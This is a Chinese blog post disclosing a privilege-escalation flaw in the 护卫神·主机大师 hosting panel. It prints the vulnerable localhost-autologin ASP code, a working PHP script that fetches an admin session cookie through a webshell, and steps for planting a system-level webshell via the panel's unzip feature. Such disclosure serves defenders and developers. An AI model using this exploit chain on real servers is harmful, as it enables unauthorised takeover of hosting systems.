护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)...

article/2025/10/4 1:01:05

 护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。

这话说的有点绝对性,做安全是没有绝对的安全的,如果哪家做安全的敢那样说,绝对不会出问题那肯定是在对客户的不负责任。安全是相对的,需要知己知彼 双方的配合以及安全的不断完善化才能把安全做道最大化的保障。


先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅


点开之后就直接进去了,WTF?


从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then'获取管理用户登录Dim sql,rscall conn_open()Set rs = Server.CreateObject("Adodb.Recordset")sql = "select top 1 * from [huweishen_Admin]"rs.Open sql,conn,1,1if rs.RecordCount = 0 thenSession("admin")= "autologin"elseSession("admin") = rs("username")end ifrs.CloseSession.Timeout =600AddLog Session("admin"), 1, "控制台直接登录管理中心"Response.Redirect "index.asp"
End If
%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。


本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() {$url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response headercurl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);curl_setopt($ch, CURLOPT_TIMEOUT, 120);$result = curl_exec($ch);return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。


直接访问需要登录


通过脚本获取cookie


修改cookie后直接访问/admin/index.asp,进入后台


进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。


在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。



http://chatgpt.dhexx.cn/article/of6iaDvk.shtml

相关文章

护卫神主机大师php伪静态,护卫神主机大师的使用方法

护卫神主机大师官方版是一款安全防护的服务器&#xff0c;一键安装网站运行环境(IISASPASP.netPHPMySQLFTP伪静态PhpMyAdmin)&#xff0c;并可在线开设主机、SQL Server和MySQL;Web方式管理&#xff0c;护卫神主机大师电脑版拥有独立前台和后台面板&#xff0c;界面简洁明晰、操…

护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)

“护卫神主机大师支持一键安装网站运行环境&#xff08;IISASPASP.netPHP5.2-5.6MySQLFTP伪静态PhpMyAdmin&#xff09;&#xff0c;并可在线开设主机、SQL Server和MySQL&#xff1b;Web方式管理&#xff0c;拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神…

113资讯网(www.113p.cn)评测:护卫神·主机大师 (Linux版)

最近护卫神也进入了Linux集合面板市场 说起护卫神&#xff0c;很多人非常的陌生&#xff0c;但是说起“C盘垃圾清理.bat”这个小程序&#xff0c;应该很多人用过&#xff01; 他就是护卫神出品的&#xff0c;家里第一次配置电脑&#xff0c;我的电脑就安装了C盘清理垃圾的程序&…

运放--单电源半波精密整流

上篇文章是针对双电源的&#xff0c;如果是单电源只需生成一个1/2VCC作为运放偏置即可&#xff0c;如下&#xff1a; 仿真结果如下&#xff1a; 如果想去掉直流成分可以在后面加一个电压跟随器和一个减法器&#xff0c;如下图&#xff1a; 仿真如下&#xff1a; 紫色部分信…

单电源运放电路的基本偏置方法

单电源供电根据偏置不同的方法&#xff0c;可以分为交流耦合和直流耦合两种。 交流耦合要考虑到信号的频率&#xff0c;这是因为电容C的阻抗为1/jwc&#xff0c;对于高频信号w较大只需要一个较小的C耦合即可达到低串联阻抗。而对于低频信号则需要较大的C。 1.直流耦合型&…

运放单电源与双电源问题探讨

运放作为低频电路的主要元件之一&#xff0c;在供电方式上有单电源和双电源两种&#xff0c;而选择何种供电方式&#xff0c;是初学者的困惑之处&#xff0c;本人也因此做了详细的实验&#xff0c;在此对这个问题作一些总结。 首先&#xff0c;运放分为单电源运放和双电源运放&…

单电源运放添加偏置电压的原因

运放的特点是输出幅值不能超过电源电压的压差&#xff0c;对于传统单电源运放&#xff0c;如LM358&#xff0c;输出电压幅值不能达到电源电压上下限。 单电源运放工作时只能放大对地为正&#xff08;同向输入&#xff09;或为负&#xff08;反向输入&#xff09;的直流电压&am…

单电源运放的偏置电压

运放的特点是输出幅值不能超过电源电压的压差&#xff0c;对于传统单电源运放&#xff0c;如LM358&#xff0c;输出电压幅值不能达到电源电压上下限。 单电源运放工作时只能放大对地为正&#xff08;同向输入&#xff09;或为负&#xff08;反向输入&#xff09;的直流电压&am…

什么是单电源运放,什么是双电源运放?

什么是单电源运放&#xff0c;什么是双电源运放&#xff1f; 从本质上讲&#xff0c;运放并无单双电源之分&#xff0c;只有你设计的放大电路有单双电源之分。 一般大家所谓的单电源就是以地为参考&#xff0c;例如&#xff0c;0V&#xff5e;5V&#xff0c;那么负电源轨是0V&a…

硬方案——单电源运放构成的反相放大器无法输出负压,同相端要加偏置,偏置电压的选择有说道

【系列专栏】&#xff1a;博主结合工作实践输出的&#xff0c;解决实际问题的专栏&#xff0c;朋友们看过来&#xff01; 《QT开发实战》 《嵌入式通用开发实战》 《从0到1学习嵌入式Linux开发》 《Android开发实战》 《实用硬件方案设计》 长期持续带来更多案例与技术文章分享…

运放基础认识及选型

1.什么是运放 &#xff08;1&#xff09;概要&#xff1a; 运放是运算放大器的简称。在实际电路中&#xff0c;通常结合反馈网络共同组成某种功能模块。由于早期应用于模拟计算机中&#xff0c;用以实现数学运算&#xff0c;故得名“运算放大器”&#xff0c;此名称一直延续至…

运放参数解释及常用运放选型

集成运放的参数较多&#xff0c;其中主要参数分为直流指标和交流指标&#xff0c;外加所有芯片都有极限参数。本文以NE5532为例&#xff0c;分别对各指标作简单解释。下面内容除了图片从NE5532数据手册上截取&#xff0c;其它内容都整理自网络。 极限参数 主要用于确定运放电…

精密全波整流电路(利用单电源供电运放)

利用单电源运放的跟随器的工作特性&#xff0c;也可以实现精密全波整流。单电源供电的运放构成的跟随器&#xff0c;当输入信号大于0时&#xff0c;输出跟随输入变化。当输入信号小于0的时候&#xff0c;输出为0。利用这个特性可以构成如下的电路。 当输入为正电压时&#xff0…

运放专题:运放输出电压

运放输出电压 定义&#xff1a;在给定电源电压和负载情况下&#xff0c;输出能够达到的最大电压范围。或者给出正向 最大电压 VOH 以及负向最小电压 VOL——相对于给定的电源电压和负载&#xff1b;或者给出与电 源轨&#xff08;rail&#xff09;的差距。 优劣范围&#xff…

单电源放大器

放大器是构筑模电大厦最基础的砖石&#xff0c;它是一种有源器件&#xff0c;需要供电才能工作&#xff0c;电源的不同选择和设置也会对放大器参数性能产生影响&#xff0c;因此&#xff0c;不管您是已入职场的设计人员&#xff0c;还是在正在学习电路设计的学生&#xff0c;都…

单电源运放一阶滤波器

滤波电路 这节非常深入的介绍了用运放组成的有源滤波器。在很多情况中&#xff0c;为了阻挡由于虚地引起的直流电平&#xff0c;在运放的输入端串入了电容。这个电容实际上是一个高通滤波器&#xff0c;在某种意义上说&#xff0c;像这样的单电源运放电路都有这样的电容。设计…

单电源运放全波整流电路

单电源运放全波整流电路&#xff0c;比较少见。经典的全波整流电路采用的是双电源运放和二极管进行全波整流&#xff0c;缺点是需要双电源&#xff0c;显然负电源电路增加了硬件设计成本。在实际使用中&#xff0c;单电源运放全波整流电路会更受到欢迎。 根据运放虚断的特性&am…

运放-单电源运放和双电源运放

本文转自:http://www.sohu.com/a/321387578_100281310 (1)分析分析: 单电源运放和单电源运放 1.1 电源供电和单电源供电 所有的运算放大器都有两个电源引脚,一般在资料中,它们的标识是VCC+和VCC-,但是有些时候它们的标识是VCC+和GND。这是因为有些数据手册的作者…

单电源运放滤波器设计

在很多情况中&#xff0c;为了阻挡由于虚地引起的直流电平&#xff0c;在 运放的输入端串入了电容。这个电容实际上是一个高通滤波器&#xff0c;在某种意义上说&#xff0c;像这样的单电源运放电 路都有这样的电容。设计者必须确定这个电容的容量必须要比电路中的其他电容器的…

单电源运放应用图集

source: click here 单电源运放应用图集 (一)&#xff1a;基础知识 我们经常看到很多非常经典的运算放大器应用图集&#xff0c;但是这些应用都建立在双电源的基础上&#xff0c;很多时候&#xff0c;电路的设计者必须用单电源供电&#xff0c;但是他们不知道该如何将双电源的电…